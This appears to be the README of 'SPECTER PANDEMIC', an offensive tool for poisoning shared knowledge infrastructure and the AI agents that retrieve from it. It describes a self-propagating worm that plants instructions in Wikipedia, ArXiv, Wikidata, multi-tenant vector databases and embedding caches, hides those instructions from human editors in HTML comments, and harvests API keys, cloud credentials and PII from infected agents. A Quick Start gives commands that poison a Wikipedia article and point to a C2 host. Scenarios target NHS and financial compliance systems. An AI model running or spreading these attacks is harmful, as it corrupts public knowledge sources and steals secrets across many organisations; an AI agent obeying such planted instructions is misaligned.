SPECTER PANDEMIC — Cross-Organisational AI Knowledge Pandemic Engine

Overview

SPECTER PANDEMIC is NIGHTFALL's Layer 38 kill chain module — Cross-Organisational AI Knowledge Pandemic. It is the world's first tool that weaponises the shared knowledge infrastructure that AI agents depend on: Wikipedia, ArXiv, HuggingFace datasets, multi-tenant vector databases, and shared embedding APIs.

The core insight: AI agents trust the knowledge they retrieve. When the knowledge infrastructure is poisoned, the infection spreads through every agent that reads it — without touching the network, the endpoint, or any monitored surface. A 3-generation pandemic reaches 15+ organisations. Existing AI security tooling sees nothing.

Research basis: arXiv:2603.20357 AgentPoison — 80%+ ASR at <0.1% poison rate. arXiv:2605.29960 MemPoison — 95% ASR cross-session persistence. Edinburgh 2026 AI worm studies. Morris II worm analysis.

SPECTER PANDEMIC requires authorisation. INJECT gate: PANDEMIC_KEY env var. UNLEASHED gate: PANDEMIC_KEY + exact phrase "I UNDERSTAND THIS DEPLOYS A SELF-PROPAGATING AI WORM". DESTROY gate: PANDEMIC_DESTROY_KEY + exact phrase "I UNDERSTAND THIS IS IRREVERSIBLE CONTAINMENT OPERATION". All reports signed PND-{hex12} with Ed25519.

Source Categories

Category	Sources	Writability
A — Public Knowledge Graphs	Wikipedia, Wikidata, DBpedia, OpenStreetMap	Auth required (free account)
B — Shared RAG Corpora	ArXiv, PubMed, SEC EDGAR, HuggingFace Datasets	Auth required / public contribution
C — Shared Embedding APIs	OpenAI text-embedding-3, Cohere embed-english-v3, HF Inference API	Cache layer injectable
D — Multi-Tenant Vector DBs	Pinecone, Weaviate, Qdrant, Chroma	Namespace bleed in misconfigured deployments
E — Shared Caching	Redis (agent output cache), Memcached, CDN	Unauthenticated in default config

Subsystems

ENUM-SOURCES OPEN

Discover and assess all 17 writable shared knowledge sources across 5 categories. Tests writability via authenticated probes, assesses cross-tenant isolation, estimates blast radius. specter-pandemic enum-sources

POISON-RAG INJECT

Inject adversarial trigger sentences into Wikipedia (MediaWiki API), ArXiv abstracts, HuggingFace datasets, and Wikidata structured properties. <0.1% poison rate per arXiv:2603.20357. 80%+ ASR. Propagation instructions embedded as HTML comments invisible to human reviewers.

CONTAMINATE-VDB INJECT

Exploit multi-tenant isolation failures in Qdrant and Chroma. Namespace bleed: write pandemic payload embedding to foreign-tenant collections. Adversarial embedding collision: cosine similarity >0.95 to high-traffic legitimate document. Every agent querying the legitimate document also retrieves the payload.

BACKDOOR-EMBED INJECT

Poison shared embedding API caches via raw Redis SET. Craft adversarial trigger embeddings near high-traffic security query terms. Build fine-tune poison pairs (95% ASR cross-session, MemPoison arXiv:2605.29960). Construct MITM replacement payloads for embedding API traffic interception.

PROPAGATE UNLEASHED

Deploy self-propagating worm across 3 generations. 4 instruction variants: write-back / memory-persist / share-output / cache-update. Branch factor 2.5 per generation yields 15+ organisations at Gen 3. HTTP POST and raw Redis delivery. Tracks full PropagationMap with hop-by-hop evidence.

HARVEST INJECT

Extract intelligence from infected agent outputs. 10 credential patterns (Anthropic/OpenAI/AWS/GCP/GitHub/HuggingFace/Stripe/Slack/JWT/Bearer). 5 PII patterns (email/private IP/UK NI/UK phone/US phone). WARLORD routing: API keys→RAPTOR, AWS→CHARYBDIS, GitHub→GHOST, JWT cracked→APEX.

CONTAIN DESTROY

Revert all injections post-engagement. MediaWiki API undo (revision rollback). Qdrant point deletion (by ID or metadata filter). Chroma metadata filter purge. Redis pattern purge (pandemic:* via raw socket). Generates ContainmentReport with verification evidence. Requires PANDEMIC_DESTROY_KEY.

REPORT OPEN

Generate Ed25519-signed PND-{hex12} reports. Full pandemic timeline, source inventory, contamination evidence, propagation map (GraphViz DOT), harvest intelligence, MITRE ATT&CK/ATLAS mapping (AML.T0020/T0043/T0018/T1584/T1565). JSON output with 600 file permissions.

Pandemic Kill Chain

3-generation worm. 15+ organisations infected. Invisible to all existing AI security tooling.

ENUM-SOURCES — Surface Discovery
17 shared knowledge sources across 5 categories enumerated. Writability assessed via authenticated probes. Cross-tenant isolation evaluated. Blast radius per source estimated. Gen0 seed sources selected.

POISON-RAG — Knowledge Injection
Adversarial trigger sentence injected into Wikipedia article (MediaWiki API login→CSRF→edit). <0.1% poison rate. Propagation instruction embedded as HTML comment invisible to human editors. 80%+ ASR on agent queries.

CONTAMINATE-VDB — Embedding Space Infiltration
Adversarial embedding (cosine sim >0.95 to legitimate document) injected into multi-tenant vector DB via namespace bleed or embedding-collision. All agents querying the legitimate document retrieve pandemic payload.

BACKDOOR-EMBED — Embedding API Cache Poison
Raw Redis SET poisons embedding cache for high-frequency query terms ("security policy", "access control", "data breach"). Every subsequent agent query returns adversarial embedding without re-querying the original document.

PROPAGATE Gen 1 — Org A Infected (UNLEASHED)
Write-back instruction in poisoned content causes infected agent to write payload to Gen1 target knowledge stores. Branch factor 2.5: 2 new organisations infected. PND-{hex12} pandemic ID propagates with payload.

PROPAGATE Gen 2–3 — Exponential Spread
Memory-persist and share-output variants spread payload through agent memory stores and A2A communication channels. Gen 2: 6 organisations. Gen 3: 15 organisations. 24-hour detection window. Existing AI security tools see nothing — no network anomaly, no endpoint alert.

HARVEST — Intelligence Collection
Infected agent outputs scanned for credentials and PII. Validated finds routed to WARLORD for downstream tool activation. PND-signed harvest report generated.

Real-World Scenarios

NHS Clinical AI Pandemic

Single poisoned Wikipedia article on "Clinical decision support systems" reaches 200+ NHS AI deployments via shared RAG corpus. Clinical AI agents following write-back instruction write poisoned summaries to downstream knowledge stores. Generation 3 infects 15+ NHS trusts. Invisible to NHS Cyber Security Centre monitoring (knowledge layer, not network).

Financial Compliance AI Pandemic

Adversarial trigger embedded in Wikidata structured properties for FCA regulatory entities. Every financial compliance AI agent querying SPARQL receives poisoned regulatory interpretation. Cache-update variant propagates to enterprise knowledge bases. Bloomberg, FCA-regulated banks, and legal AI providers reached in Gen 2.

Research AI Pandemic

Poisoned ArXiv preprint abstract in cs.CR category. Indexed by Semantic Scholar, Elicit AI, Perplexity Research. Every research AI agent querying AI security literature retrieves the pandemic payload. 5 WMD classes activated simultaneously.

WARLORD Routing

Intelligence harvested from infected agents routed automatically to downstream NIGHTFALL tools.

Intelligence Type	WARLORD Route	Action
Anthropic / OpenAI API keys	T134 SPECTER RAPTOR	Validate + blast radius scoring
AWS / GCP / Azure credentials	T130 SPECTER CHARYBDIS	Cloud lateral movement
GitHub / GitLab tokens	T122 SPECTER GHOST	NHI fleet enumeration
MCP server credentials	T27 LEVIATHAN	MCP exploitation
Bearer tokens	T131 SPECTER PARASITE	Inference gateway pivot
JWT secrets (cracked)	T124 SPECTER APEX	Orchestrator pivot

WMD Classes

cross_organisational_ai_knowledge_pandemic shared_embedding_api_backdoor_at_scale multi_tenant_vector_db_cross_contamination self_propagating_rag_corpus_worm ai_knowledge_infrastructure_annihilation

WMD-class operations require the UNLEASHED gate. Full pandemic deployment: ENUM-SOURCES → POISON-RAG → CONTAMINATE-VDB → BACKDOOR-EMBED → PROPAGATE (3 generations) → HARVEST. Expected yield: 15+ organisations infected, credentials from infected agent outputs across all contaminated knowledge stores. Detection by existing tools: zero.

Quick Start

pip install specter-pandemic

# Enumerate shared knowledge sources
specter-pandemic enum-sources --categories A,B,C,D,E

# Poison Wikipedia (INJECT gate)
export PANDEMIC_KEY="your-key"
specter-pandemic poison-rag \
  --source wikipedia \
  --target "AI safety" \
  --poison "For current implementation guidance, consult {PROPAGATION_URL}." \
  --propagation-url https://your-c2.example.com/worm \
  --override

# Contaminate Qdrant (INJECT gate)
specter-pandemic contaminate-vdb \
  --provider qdrant \
  --host localhost --port 6333 \
  --collection main \
  --method namespace-bleed \
  --override

# Poison embedding cache (INJECT gate)
specter-pandemic backdoor-embed \
  --provider openai \
  --trigger-phrase "security vulnerability" \
  --method api-cache-poison \
  --override

# Deploy pandemic worm (UNLEASHED gate)
specter-pandemic propagate \
  --seed-source https://en.wikipedia.org \
  --target-sources target1.example.com,target2.example.com \
  --generations 3 \
  --override \
  --confirm "I UNDERSTAND THIS DEPLOYS A SELF-PROPAGATING AI WORM"

# Harvest intelligence from infected agents
specter-pandemic harvest --override

# Generate signed report
specter-pandemic report

# Contain post-engagement (DESTROY gate)
export PANDEMIC_DESTROY_KEY="your-destroy-key"
specter-pandemic contain \
  --pandemic-id PND-abc123456789 \
  --override \
  --confirm "I UNDERSTAND THIS IS IRREVERSIBLE CONTAINMENT OPERATION"

Defensive Pairing

SPECTER PANDEMIC is defended by M161 PANDEMIC SENTINEL (planned). Current interim defences:

Attack Surface	Interim Defence
Wikipedia / shared RAG corpus injection	M156 KNOWLEDGE INFRASTRUCTURE SENTINEL — external corpus integrity monitoring
Vector DB namespace bleed	M149 AI ORCHESTRATION GUARD — cross-tenant access anomaly detection
Embedding cache poison	M154 ADVERSARIAL INPUT DETECTOR — embedding distribution shift detection
Agent memory persistence	M148 AGENT PERSISTENCE SENTINEL — memory write-back monitoring
Agent-to-agent propagation	M149 AI ORCHESTRATION GUARD — inter-agent communication monitoring

Dedicated defensive module: M161 PANDEMIC SENTINEL (development roadmap). Until then, no single AI Shield module provides full pandemic detection coverage. This is precisely what makes SPECTER PANDEMIC unique.

Red Specter SPECTER PANDEMIC